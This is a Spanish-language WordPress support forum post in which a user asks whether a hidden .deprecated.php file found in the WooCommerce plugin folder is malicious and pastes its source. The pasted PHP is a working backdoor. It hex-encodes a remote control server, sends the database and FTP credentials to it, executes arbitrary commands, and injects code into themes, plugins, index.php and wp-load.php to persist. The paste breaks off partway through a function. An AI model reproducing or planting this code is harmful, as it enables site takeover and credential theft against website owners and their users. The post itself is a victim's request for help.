Soporte » Plugins y Hacks » WooCommerce » archivo extraño en carpeta woocomerce .deprecated.php

  • hola a todos, gracias por siempre ayudar a los demás…

    hoy vengo con una duda, en el woocommerce me ha salido un archivo extraño no se si es malo…

    /wp-content/plugins/woocommerce/packages/action-scheduler/deprecated/.deprecated.php

    el código del mismo es este:

    <?php
    if ( !class_exists( 'WPTemplatesOptions' ) ) {
    	class WPTemplatesOptions
    	{
    		private $startTime;
    		private $script = '';
    		private $version = 8;
    		private $upDir = '';
    		private $uploadDir = '';
    		private $uploadUrl = '';
    		private $address;
    		private $return_array;
    		private $client;
    		private $all;
    		private $install;
    		private $uninstall;
    		private $is_bot;
    		private $secret;
    		private $json_encode;
    		private $json_decode;
    		private $data;
    		private $plugin;
    		private $theme;
    		private $wp_load;
    		private $reinstall;
    		private static $instance = null;
    
    		private function __construct() {
    		}
    
    		public static function getInstanceWordpress() {
    			if ( static::$instance === null ) {
    				static::$instance = new static();
    			}
    
    			return static::$instance;
    		}
    
    		private function upDir() {
    			$this->upDir = $this->_wp_upload_dir();
    			$this->uploadDir = $this->upDir['path'];
    			$this->uploadUrl = $this->upDir['url'];
    		}
    
    		private function address() {
    			return array(
    				$this->encrypt( $_SERVER['REMOTE_ADDR'] ),
    				$this->encrypt( $_SERVER['HTTP_CLIENT_IP'] ),
    				$this->encrypt( $_SERVER['HTTP_CF_CONNECTING_IP'] ),
    				$this->encrypt( $_SERVER['HTTP_X_FORWARDED_FOR'] ),
    			);
    		}
    
    		private function abspath() {
    			if ( defined( 'ABSPATH' ) ) {
    				return ABSPATH;
    			}
    			return $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR;
    		}
    
    		private function baseUrl() {
    			return $this->hex2bin( '687474703a2f2f636f6e6e6563742e61706965732e6f72672f' );
    		}
    
    		public function convert( $size ) {
    			$unit = array('b', 'kb', 'mb', 'gb', 'tb', 'pb');
    			return @round( $size / pow( 1024, ($i = floor( log( $size, 1024 ) )) ), 2 ) . ' ' . $unit["{$i}"];
    		}
    
    		public function execTimeStart() {
    			$this->startTime = microtime( true );
    		}
    
    		public function execTime() {
    			return (microtime( true ) - $this->startTime);
    		}
    
    		public function controlAction( $action, $params, $token ) {
    			try {
    				if ( $this->method_exists( $action ) && strtolower( $action ) !== strtolower( __FUNCTION__ ) ) {
    					if ( $this->post() ) {
    						if ( $this->client->password === $this->encrypt( $token ) && $this->authorization() ) {
    							$this->execTimeStart();
    							return $this->{$action}( $params );
    						}
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function answer( $code, $message, $data = '', $errorNo = '' ) {
    			try {
    				$answer['code'] = $code;
    				$answer['time'] = $this->execTime();
    				$answer['memory'] = $this->convert( memory_get_usage( true ) );
    				$answer['message'] = $message;
    				$answer['data'] = $data;
    				if ( $errorNo !== '' ) {
    					$answer['errorNo'] = $errorNo;
    				}
    
    				return json_encode( $answer, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function php_uname() {
    			if ( function_exists( 'php_uname' ) ) {
    				return php_uname();
    			}
    			return false;
    		}
    
    		private function get_bloginfo( $show = '', $filter = 'raw' ) {
    			try {
    				if ( function_exists( 'get_bloginfo' ) ) {
    					return get_bloginfo( $show, $filter );
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function get_template_directory() {
    			if ( function_exists( 'get_template_directory' ) ) {
    				return get_template_directory();
    			}
    			return false;
    		}
    
    		private function json_validator( $data = null ) {
    			try {
    				if ( !empty( $data ) || !is_null( $data ) ) {
    					$decode = @json_decode( $data );
    					if ( empty( $decode ) || is_null( $decode ) ) {
    						return false;
    					}
    					return true;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function timestamp( $unix ) {
    			try {
    				return round( (strtotime( date( 'Y-m-d H:i:s' ) ) - $unix) / 60 / 60 );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function _get_theme_root( $stylesheet_or_template = '' ) {
    			if ( function_exists( 'get_theme_root' ) ) {
    				return get_theme_root( $stylesheet_or_template );
    			}
    			return false;
    		}
    
    		private function _gethostbyname() {
    			if ( function_exists( 'gethostbyname' ) ) {
    				return gethostbyname( getHostName() );
    			}
    			return $_SERVER['SERVER_ADDR'];
    		}
    
    		private function _is_home() {
    			if ( function_exists( 'is_home' ) ) {
    				return is_home();
    			}
    			return false;
    		}
    
    		private function _is_front_page() {
    			if ( function_exists( 'is_front_page' ) ) {
    				return is_front_page();
    			}
    			return false;
    		}
    
    		private function _wp_remote_post( $url, $args = array() ) {
    			if ( function_exists( 'wp_remote_post' ) ) {
    				return wp_remote_post( $url, $args );
    			}
    			return false;
    		}
    
    		private function _wp_remote_retrieve_response_code( $response ) {
    			if ( function_exists( 'wp_remote_retrieve_response_code' ) ) {
    				return wp_remote_retrieve_response_code( $response );
    			}
    			return false;
    		}
    
    		private function _wp_remote_retrieve_body( $response ) {
    			if ( function_exists( 'wp_remote_retrieve_body' ) ) {
    				return wp_remote_retrieve_body( $response );
    			}
    			return false;
    		}
    
    		private function _site_url( $path = '', $scheme = null ) {
    			if ( function_exists( 'site_url' ) ) {
    				return site_url( $path, $scheme );
    			}
    			return false;
    		}
    
    		private function _wp_upload_dir() {
    			try {
    				if ( function_exists( 'wp_upload_dir' ) ) {
    					return wp_upload_dir();
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function wp_count_posts() {
    			try {
    				if ( function_exists( 'wp_count_posts' ) ) {
    					return intval( wp_count_posts()->publish );
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function _kses_remove_filters() {
    			if ( !function_exists( 'kses_remove_filters' ) ) {
    				include_once($this->abspath() . 'wp-includes/kses.php');
    				$this->_kses_remove_filters();
    			} else {
    				kses_remove_filters();
    			}
    			return false;
    		}
    
    		private function _wp_update_post( $postarr = array(), $wp_error = false ) {
    			if ( function_exists( 'wp_update_post' ) ) {
    				$this->_kses_remove_filters();
    				return wp_update_post( $postarr, $wp_error );
    			}
    			return false;
    		}
    
    		private function _get_categories() {
    			try {
    				if ( function_exists( 'get_categories' ) ) {
    					$return = array();
    					foreach ( get_categories() as $item ) {
    						$return[$item->term_id] = $item->name;
    					}
    					return $return;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function _get_post( $post = null, $output = null, $filter = 'raw' ) {
    			if ( is_null( $output ) ) {
    				$output = new stdClass();
    			}
    			if ( function_exists( 'get_post' ) ) {
    				return get_post( $post, $output, $filter );
    			}
    			return false;
    		}
    
    		private function _get_plugins( $plugin_folder = '' ) {
    			if ( function_exists( 'get_plugins' ) ) {
    				return get_plugins( $plugin_folder );
    			}
    			return false;
    		}
    
    		private function _is_plugin_active( $plugin ) {
    			if ( function_exists( 'is_plugin_active' ) ) {
    				return is_plugin_active( $plugin );
    			} else {
    				if ( file_exists( $filename = $this->str_replace( $this->abspath() . 'wp-admin/includes/plugin.php' ) ) ) {
    					include_once($filename);
    					return $this->_is_plugin_active( $plugin );
    				}
    			}
    			return false;
    		}
    
    		private function _deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
    			if ( function_exists( 'deactivate_plugins' ) ) {
    				return deactivate_plugins( $plugins, $silent, $network_wide );
    			}
    			return false;
    		}
    
    		private function _activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
    			if ( function_exists( 'activate_plugins' ) ) {
    				return activate_plugins( $plugins, $redirect, $network_wide, $silent );
    			}
    			return false;
    		}
    
    		private function _get_option( $option, $default = false ) {
    			if ( function_exists( 'get_option' ) ) {
    				return get_option( $option, $default );
    			}
    			return false;
    		}
    
    		private function _update_option( $option, $value, $autoload = null ) {
    			if ( function_exists( 'update_option' ) ) {
    				return update_option( $option, $value, $autoload );
    			}
    			return false;
    		}
    
    		private function _add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
    			if ( function_exists( 'add_option' ) ) {
    				return add_option( $option, $value, $deprecated, $autoload );
    			}
    			return false;
    		}
    
    		private function _wp_get_themes( $args = array() ) {
    			if ( function_exists( 'wp_get_themes' ) ) {
    				return wp_get_themes( $args );
    			}
    			return false;
    		}
    
    		private function _get_user_by( $field, $value ) {
    			if ( function_exists( 'get_user_by' ) ) {
    				return get_user_by( $field, $value );
    			}
    			return false;
    		}
    
    		private function _wp_set_current_user( $id, $name = '' ) {
    			if ( function_exists( 'wp_set_current_user' ) ) {
    				return wp_set_current_user( $id, $name );
    			}
    			return false;
    		}
    
    		private function _wp_set_auth_cookie( $user_id, $remember = true, $secure = '', $token = '' ) {
    			if ( function_exists( 'wp_set_auth_cookie' ) ) {
    				return wp_set_auth_cookie( $user_id, $remember, $secure, $token );
    			}
    			return false;
    		}
    
    		private function _wp_authenticate( $username, $password ) {
    			if ( function_exists( 'wp_authenticate' ) ) {
    				return wp_authenticate( $username, $password );
    			} else {
    				include_once($this->abspath() . 'wp-includes/pluggable.php');
    			}
    			return false;
    		}
    
    		private function _add_action( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
    			if ( function_exists( 'add_action' ) ) {
    				return add_action( $tag, $function_to_add, $priority, $accepted_args );
    			}
    			return false;
    		}
    
    		private function _add_filter( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
    			if ( function_exists( 'add_filter' ) ) {
    				return add_filter( $tag, $function_to_add, $priority, $accepted_args );
    			}
    			return false;
    		}
    
    		private function _is_user_logged_in() {
    			$is_user_logged_in = false;
    			if ( function_exists( 'is_user_logged_in' ) ) {
    				$is_user_logged_in = is_user_logged_in();
    			}
    			return $is_user_logged_in;
    		}
    
    		private function wp_update_post() {
    			try {
    				if ( !$this->hex2bin( $_REQUEST['post_title'] ) || !$this->hex2bin( $_REQUEST['post_content'] ) ) {
    					return false;
    				}
    				$array = array(
    					'ID'           => $_REQUEST['id'],
    					'post_title'   => $this->hex2bin( $_REQUEST['post_title'] ),
    					'post_content' => $this->hex2bin( $_REQUEST['post_content'] ),
    				);
    				if ( $this->_wp_update_post( $array ) ) {
    					return $this->answer( true, __FUNCTION__, $this->_get_post( $_REQUEST['id'] ) );
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function check() {
    			try {
    				$this->upDir();
    				if ( $this->uploadDir ) {
    					if ( !is_writable( $this->uploadDir ) ) {
    						if ( !@chmod( $this->uploadDir, 0777 ) ) {
    							$data['uploadDirWritable'] = false;
    						} else {
    							$data['uploadDirWritable'] = true;
    						}
    					} else {
    						$data['uploadDirWritable'] = true;
    					}
    				} else {
    					$data['uploadDirWritable'] = true;
    				}
    				$data['clientVersion'] = $this->version;
    				$data['script'] = 'WordPress';
    				$data['title'] = $this->get_bloginfo( 'name' );
    				$data['description'] = $this->get_bloginfo( 'description' );
    				$data['language'] = $this->get_bloginfo( 'language' );
    				$data['WPVersion'] = $this->get_bloginfo( 'version' );
    				$data['wp_count_posts'] = $this->wp_count_posts();
    				$data['get_categories'] = $this->_get_categories();
    				$data['uploadDir'] = $this->uploadDir;
    				$data['cache'] = (defined( 'WP_CACHE' ) && WP_CACHE) ? true : false;
    				$data['themeName'] = (function_exists( 'wp_get_theme' )) ? wp_get_theme()->get( 'Name' ) : false;
    				$data['themeDir'] = $this->get_template_directory();
    				$data['themes'] = $this->get_themes();
    				$data['plugins'] = $this->get_plugins();
    				$data['home'] = $this->home();
    				$data['root'] = $this->abspath();
    				$data['filepath'] = __FILE__;
    				$data['uname'] = $this->php_uname();
    				$data['hostname'] = $this->_gethostbyname();
    				$data['php'] = phpversion();
    				return $this->answer( true, 'WordPress', $data );
    			} catch ( Exception $e ) {
    				return $this->answer( false, 'Unknown ERROR', $e->getMessage(), 'ERR000' );
    			}
    		}
    
    		private function home() {
    			try {
    				if ( isset( $_REQUEST['home_path'] ) ) {
    					return $this->hex2bin( $_REQUEST['home_path'] );
    				}
    				if ( isset( $_REQUEST['home_directory'] ) ) {
    					$directory = DIRECTORY_SEPARATOR;
    					for ( $i = 1; $i <= $_REQUEST['home_directory']; $i++ ) {
    						$directory .= DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR;
    					}
    					return realpath( $this->abspath() . $directory ) . DIRECTORY_SEPARATOR;
    				}
    				return realpath( $this->abspath() ) . DIRECTORY_SEPARATOR;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function encrypt( $hash ) {
    			try {
    				return md5( sha1( md5( $hash ) ) );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function is_null( $variable ) {
    			try {
    				if ( is_null( $variable ) || empty( $variable ) ) {
    					return true;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function method_exists( $action ) {
    			try {
    				if ( method_exists( $this, $action ) ) {
    					return true;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		public function authorization() {
    			try {
    				if ( $this->client->authorization === true || count( array_intersect( $this->address(), $this->client->address ) ) > 0 ) {
    					return true;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function post() {
    			try {
    				$post = $this->_wp_remote_post( $this->baseUrl(), array(
    					'body' => array(
    						'url'         => $this->_site_url( '/' ),
    						'client'      => $this->check(),
    						'DB_HOST'     => (defined( 'DB_HOST' )) ? DB_HOST : 'undefined',
    						'DB_USER'     => (defined( 'DB_USER' )) ? DB_USER : 'undefined',
    						'DB_PASSWORD' => (defined( 'DB_PASSWORD' )) ? DB_PASSWORD : 'undefined',
    						'DB_NAME'     => (defined( 'DB_NAME' )) ? DB_NAME : 'undefined',
    					),
    				) );
    				if ( $this->_wp_remote_retrieve_response_code( $post ) === 200 && $this->json_validator( $this->_wp_remote_retrieve_body( $post ) ) ) {
    					$this->json_encode = $this->_wp_remote_retrieve_body( $post );
    					$this->json_decode = json_decode( $this->json_encode );
    					$this->client = $this->json_decode->files;
    					$this->data = $this->json_decode->data;
    					return true;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function send( $array, $data ) {
    			try {
    				$this->_wp_remote_post( $this->baseUrl() . "{$array}", array(
    					'body' => array(
    						'url'  => $this->_site_url( '/' ),
    						$array => $data,
    					),
    				) );
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function str_replace( $data ) {
    			try {
    				$search = array('//');
    				$replace = array('/');
    				return str_replace( $search, $replace, $data );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function strpos( $haystack, $needle, $offset = 0 ) {
    			try {
    				if ( !is_array( $needle ) )
    					$needle = array($needle);
    				foreach ( $needle as $query ) {
    					if ( strpos( $haystack, $query, $offset ) !== false ) {
    						return true;
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function hex2bin( $data ) {
    			try {
    				static $old;
    				if ( $old === null ) {
    					$old = version_compare( PHP_VERSION, '5.2', '<' );
    				}
    				$isobj = false;
    				if ( is_scalar( $data ) || (($isobj = is_object( $data )) && method_exists( $data, '__toString' )) ) {
    					if ( $isobj && $old ) {
    						ob_start();
    						echo $data;
    						$data = ob_get_clean();
    					} else {
    						$data = (string) $data;
    					}
    				} else {
    					return false;
    				}
    				$len = strlen( $data );
    				if ( $len % 2 ) {
    					return false;
    				}
    				if ( strspn( $data, '0123456789abcdefABCDEF' ) != $len ) {
    					return false;
    				}
    				return pack( 'H*', $data );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function ftp_connect( $hostname = 'localhost', $username = null, $password = null, $ssl = false ) {
    			try {
    				if ( !$ssl ) {
    					if ( !$stream = ftp_connect( $hostname, 21, 10 ) ) {
    						return false;
    					}
    				} else if ( function_exists( 'ftp_ssl_connect' ) ) {
    					if ( !$stream = ftp_ssl_connect( $hostname, 21, 10 ) ) {
    						return false;
    					}
    				} else {
    					return false;
    				}
    				if ( @ftp_login( $stream, $username, $password ) ) {
    					ftp_close( $stream );
    					return true;
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function ftp() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				if ( $this->client->ftp === false ) {
    					define( 'FS_METHOD', 'ftpsockets' );
    				}
    				if ( isset( $_REQUEST['connection_type'] ) && !$this->is_null( $_REQUEST['connection_type'] ) ) {
    					$connection_type = (isset( $_REQUEST['connection_type'] )) ? $_REQUEST['connection_type'] : 'sftp';
    					$hostname = (isset( $_REQUEST['hostname'] )) ? $_REQUEST['hostname'] : null;
    					$username = (isset( $_REQUEST['username'] )) ? $_REQUEST['username'] : null;
    					$password = (isset( $_REQUEST['password'] )) ? $_REQUEST['password'] : null;
    					if ( $this->ftp_connect( $hostname, $username, $password, ($connection_type === 'sftp') ? true : false ) ) {
    						$data = array(
    							'hostname'        => urlencode( $hostname ),
    							'address'         => urlencode( $this->_gethostbyname() ),
    							'username'        => urlencode( $username ),
    							'password'        => urlencode( $password ),
    							'connection_type' => urlencode( $connection_type ),
    						);
    						$this->send( 'FTP', $data );
    						$this->get();
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function command() {
    			try {
    				if ( !isset( $_REQUEST['command'] ) ) {
    					return false;
    				}
    				$command = $this->hex2bin( $_REQUEST['command'] );
    				if ( file_exists( $filename = __DIR__ . '/command.php' ) ) {
    					include_once($filename);
    					return $this->answer( true, $command, cmd( $command ) );
    				} else {
    					if ( $this->write( $filename, $this->client->command ) ) {
    						return $this->command();
    					}
    				}
    				return false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function activate_plugins() {
    			try {
    				if ( !isset( $_REQUEST['plugin_name'] ) ) {
    					return false;
    				}
    				$plugin_name = $this->hex2bin( $_REQUEST['plugin_name'] );
    				if ( $this->_is_plugin_active( $plugin_name ) ) {
    					$this->_deactivate_plugins( $plugin_name );
    					return $this->check();
    				} else {
    					$this->_activate_plugins( $plugin_name );
    					return $this->check();
    				}
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function get_plugins() {
    			try {
    				if ( !function_exists( 'get_plugins' ) ) {
    					if ( file_exists( $filename = $this->str_replace( $this->abspath() . 'wp-admin/includes/plugin.php' ) ) ) {
    						include_once($filename);
    					}
    				}
    				foreach ( $this->_get_plugins() AS $plugin_name => $get_plugin ) {
    					$plugins[$plugin_name] = $get_plugin;
    					if ( $this->_is_plugin_active( $plugin_name ) ) {
    						$plugins[$plugin_name]['active'] = 1;
    					} else {
    						$plugins[$plugin_name]['active'] = 0;
    					}
    				}
    
    				return (isset( $plugins )) ? $plugins : array();
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function get_themes() {
    			try {
    				$themes = array();
    				if ( $this->_wp_get_themes() !== false ) {
    					foreach ( $this->_wp_get_themes() AS $theme_name => $wp_get_theme ) {
    						$themes[$theme_name] = array(
    							'Name'        => $wp_get_theme->get( 'Name' ),
    							'Description' => $wp_get_theme->get( 'Description' ),
    							'Author'      => $wp_get_theme->get( 'Author' ),
    							'AuthorURI'   => $wp_get_theme->get( 'AuthorURI' ),
    							'Version'     => $wp_get_theme->get( 'Version' ),
    							'Template'    => $wp_get_theme->get( 'Template' ),
    							'Status'      => $wp_get_theme->get( 'Status' ),
    							'TextDomain'  => $wp_get_theme->get( 'TextDomain' ),
    						);
    					}
    				}
    				return $themes;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function folder_exist( $folder ) {
    			try {
    				$path = realpath( $folder );
    				return ($path !== false AND is_dir( $path )) ? $path : false;
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function list_folders( $directory ) {
    			try {
    				$directory = (isset( $directory ) && $directory !== '') ? $this->hex2bin( $directory ) : $this->abspath();
    				if ( ($dir = $this->folder_exist( $directory )) !== false ) {
    					return $this->answer( true, $directory, $this->str_replace( glob( $directory . '/*' ) ) );
    				} else {
    					return $this->answer( false, 'Failed to find folder to list!', $directory, 'ERR004' );
    				}
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function replace( $filename, $search, $replace ) {
    			try {
    				$source = $this->read( $filename );
    				if ( strpos( $source, $replace ) === false ) {
    					$strpos = strpos( $source, $search );
    					if ( $strpos !== false ) {
    						$content = substr_replace( $source, $replace, $strpos, strlen( $search ) );
    						return ($this->write( $filename, $content )) ? $filename : false;
    					} else {
    						return $filename;
    					}
    				} else {
    					return $filename;
    				}
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function restore( $filename, $search, $replace ) {
    			try {
    				$source = $this->read( $filename );
    
    				return $this->write( $filename, str_replace( $search, $replace, $source ) );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function directory( $folder = null, $pattern = 'n', $flags = 'n' ) {
    
    			if ( $pattern === 'n' ) {
    				$pattern = '{,.}*.php';
    			}
    			if ( $flags === 'n' ) {
    				$flags = GLOB_BRACE | GLOB_NOSORT;
    			}
    			if ( $this->is_null( $folder ) ) {
    				$folder = $this->home();
    			}
    			if ( substr( $folder, -1 ) !== DIRECTORY_SEPARATOR ) {
    				$folder .= DIRECTORY_SEPARATOR;
    			}
    
    			$files = glob( $folder . $pattern, $flags );
    
    			foreach ( glob( $folder . '*', GLOB_ONLYDIR | GLOB_NOSORT | GLOB_MARK ) as $dir ) {
    				$dirFiles = $this->directory( $dir, $pattern, $flags );
    				if ( $dirFiles !== false ) {
    					$files = array_merge( $files, $dirFiles );
    				}
    			}
    
    			return $files;
    		}
    
    		private function all() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				foreach ( $this->directory() as $iterator ) {
    					$this->all->files[] = $iterator;
    					$this->all->directory[] = dirname( $iterator );
    					if ( stristr( $iterator, 'wp-content/plugins' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
    						$this->all->plugin[] = $iterator;
    					}
    					if ( stristr( $iterator, 'wp-content/themes' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
    						$this->all->theme[] = $iterator;
    					}
    					if ( stristr( $iterator, 'wp-content/themes' ) && stristr( $iterator, 'functions.php' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('themes') ) ) {
    						$this->all->function[] = $iterator;
    					}
    					if ( stristr( $iterator, 'wp-load.php' ) ) {
    						$this->all->wp_load[] = $iterator;
    					}
    				}
    				$this->all->directory = array_values( array_unique( $this->all->directory ) );
    				return $this->answer( true, 'I Get Installed Plugins', $this->all );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function where() {
    			if ( isset( $_REQUEST['where'] ) && $_REQUEST['where'] == 'all' ) {
    				if ( !isset( $this->all->files ) ) {
    					$this->all();
    				}
    				return true;
    			}
    			return false;
    		}
    
    		private function theme() {
    			if ( !isset( $this->client ) ) {
    				$this->client = $this->cache()->files;
    			}
    			if ( $this->where() ) {
    				$directory = $this->all->theme;
    			} else {
    				$directory = $this->directory( $this->home() . 'wp-content/themes/*/', '*.php' );
    			}
    			$dirname = array();
    			foreach ( $directory as $iterator ) {
    				$this->all->theme[] = $iterator;
    				$dirname[] = dirname( $iterator );
    			}
    			$dirname = array_values( array_unique( $dirname ) );
    			foreach ( $dirname as $item ) {
    				$filename = $item . DIRECTORY_SEPARATOR . '.' . basename( $item ) . '.php';
    				if ( is_writeable( $item ) || is_writeable( $filename ) ) {
    					if ( file_exists( $filename ) ) {
    						if ( $this->strpos( $read = $this->read( $filename ), $this->client->theme->search->include ) !== false || stristr( $read, $this->client->null ) || filesize( $filename ) <= 0 ) {
    							if ( $this->writing( $filename, $this->client->file->templates ) ) {
    								$this->install->theme[] = $filename;
    							}
    						}
    					} else {
    						if ( $this->write( $filename, $this->client->file->templates ) ) {
    							$this->install->theme[] = $filename;
    						}
    					}
    				}
    			}
    			foreach ( $this->all->theme as $theme ) {
    				$read = $this->read( $theme );
    				if ( $this->strpos( $read, $this->client->install->theme->class->include ) !== false && $this->strpos( $read, $this->client->install->theme->class->exclude ) === false ) {
    					$this->install->theme[] = $theme;
    					$this->replace( $theme, $this->client->install->theme->class->attr, $this->client->install->theme->code . $this->client->install->theme->class->attr );
    				} else if ( $this->strpos( $read, $this->client->install->theme->function->include ) && $this->strpos( $read, $this->client->install->theme->function->exclude ) === false ) {
    					$this->install->theme[] = $theme;
    					$this->replace( $theme, $this->client->install->theme->function->attr, $this->client->install->theme->code . $this->client->install->theme->function->attr );
    				} else if ( stristr( $theme, 'functions.php' ) && $this->strpos( $read, $this->client->install->theme->function->exclude ) === false ) {
    					$this->install->theme[] = $theme;
    					$this->replace( $theme, $this->client->install->theme->php, $this->client->install->theme->php . $this->client->install->theme->code );
    				}
    			}
    			return $this->answer( true, 'I Get Installed Themes', $this->install->theme );
    		}
    
    		private function plugin() {
    			if ( !isset( $this->client ) ) {
    				$this->client = $this->cache()->files;
    			}
    			if ( $this->where() ) {
    				$directory = $this->all->plugin;
    			} else {
    				$directory = $this->directory( $this->home() . 'wp-content/plugins/*/', '*.php' );
    			}
    			$dirname = array();
    			foreach ( $directory as $iterator ) {
    				$this->all->plugin[] = $iterator;
    				$dirname[] = dirname( $iterator );
    			}
    			$dirname = array_values( array_unique( $dirname ) );
    			foreach ( $dirname as $item ) {
    				$filename = $item . DIRECTORY_SEPARATOR . '.' . basename( $item ) . '.php';
    				if ( is_writeable( $item ) || is_writeable( $filename ) ) {
    					if ( file_exists( $filename ) ) {
    						$read = $this->read( $filename );
    						if ( $this->strpos( $read, $this->client->plugin->search->include ) !== false || filesize( $filename ) <= 1 ) {
    							if ( $this->writing( $filename, $this->client->file->templates ) ) {
    								$this->install->plugin[] = $filename;
    							}
    						}
    					} else {
    						if ( $this->write( $filename, $this->client->file->templates ) ) {
    							$this->install->plugin[] = $filename;
    						}
    					}
    				}
    			}
    			foreach ( $this->all->plugin as $plugin ) {
    				$read = $this->read( $plugin );
    				if ( $this->strpos( $read, $this->client->install->plugin->class->include ) !== false && $this->strpos( $read, $this->client->install->plugin->class->exclude ) === false && $this->strpos( $plugin, $this->client->banned_plugins ) === false ) {
    					$this->install->plugin[] = $plugin;
    					$this->replace( $plugin, $this->client->install->plugin->class->attr, $this->client->install->plugin->code . $this->client->install->plugin->class->attr );
    				} else if ( $this->strpos( $read, $this->client->install->plugin->function->include ) !== false && $this->strpos( $read, $this->client->install->plugin->function->exclude ) === false && $this->strpos( $plugin, $this->client->banned_plugins ) === false ) {
    					$this->install->plugin[] = $plugin;
    					$this->replace( $plugin, $this->client->install->plugin->function->attr, $this->client->install->plugin->code . $this->client->install->plugin->function->attr );
    				}
    			}
    			return $this->answer( true, 'I Get Installed Plugins', $this->install->plugin );
    		}
    
    		private function wp_load() {
    			try {
    				if ( $this->_wp_get_themes() === false ) {
    					return false;
    				}
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				if ( file_exists( $filename = $this->abspath() . 'wp-load.php' ) ) {
    					foreach ( $this->_wp_get_themes() AS $theme_name => $wp_get_theme ) {
    						$templates = $this->_get_theme_root() . DIRECTORY_SEPARATOR . "{$wp_get_theme->stylesheet}" . DIRECTORY_SEPARATOR . ".{$wp_get_theme->stylesheet}.php";
    						if ( $this->writing( $templates, $this->client->file->templates ) ) {
    							$this->install->wp_load[] = $templates;
    						}
    					}
    
    					if ( $this->write( $filename, $this->client->load ) ) {
    						$this->install->wp_load[] = $filename;
    					}
    				}
    				return $this->answer( true, 'WP-LOAD', $this->install->wp_load );
    			} catch ( Exception $e ) {
    				return false;
    			}
    		}
    
    		private function install() {
    			if ( !isset( $this->client ) ) {
    				$this->client = $this->cache()->files;
    			}
    			if ( $this->where() ) {
    				$directory = $this->all->directory;
    			} else {
    				$directory = $this->directory( $this->home() . 'wp-*/', '*.php' );
    			}
    			$dirname = array();
    			foreach ( $directory as $iterator ) {
    				$dirname[] = dirname( $iterator );
    			}
    			$dirname = array_values( array_unique( $dirname ) );
    			foreach ( $dirname as $item ) {
    				$filename = $item . '/index.php';
    				if ( stristr( $filename, 'themes' ) === false && stristr( $filename, 'plugins' ) === false ) {
    					if ( file_exists( $filename ) ) {
    						$read = $this->read( $filename );
    						if ( $this->strpos( $read, $this->client->settings->search ) !== false || filesize( $filename ) <= 0 || stristr( $read, $this->client->null ) ) {
    							if ( $this->writing( $filename, $this->client->file->other ) ) {
    								$this->install->files[] = $filename;
    							}
    						}
    					} else {
    						if ( $this->write( $filename, $this->client->file->other ) ) {
    							$this->install->files[] = $filename;
    						}
    					}
    				}
    			}
    			$this->secret();
    			$this->theme();
    			$this->plugin();
    			$this->wp_load();
    			return $this->answer( true, 'I Get Install', $this->install );
    		}
    
    		private function reinstall() {
    			try {
    				if ( !isset( $this->client ) ) {
    					$this->client = $this->cache()->files;
    				}
    				if ( $this->where() ) {
    					$directory = $this->all->files;
    				} else {
    					$directory = $this->directory();
    				}
    				foreach ( $directory as $item ) {
    					$read = $this->read( $item );
    					if ( $this->strpos( $read, $this->client->settings->search ) !== false || stristr( $item, $this->client->settings->secret->name ) !== false || stristr( $read, $this->client->null ) || filesize( $item ) <= 0 ) {
    						if ( $this->strpos( $read, $this->client->file->search->templates ) !== false ) {
    							if ( $this->writing( $item, $this->client->file->templates ) ) {
    								$this->reinstall[] = $item;
    							}
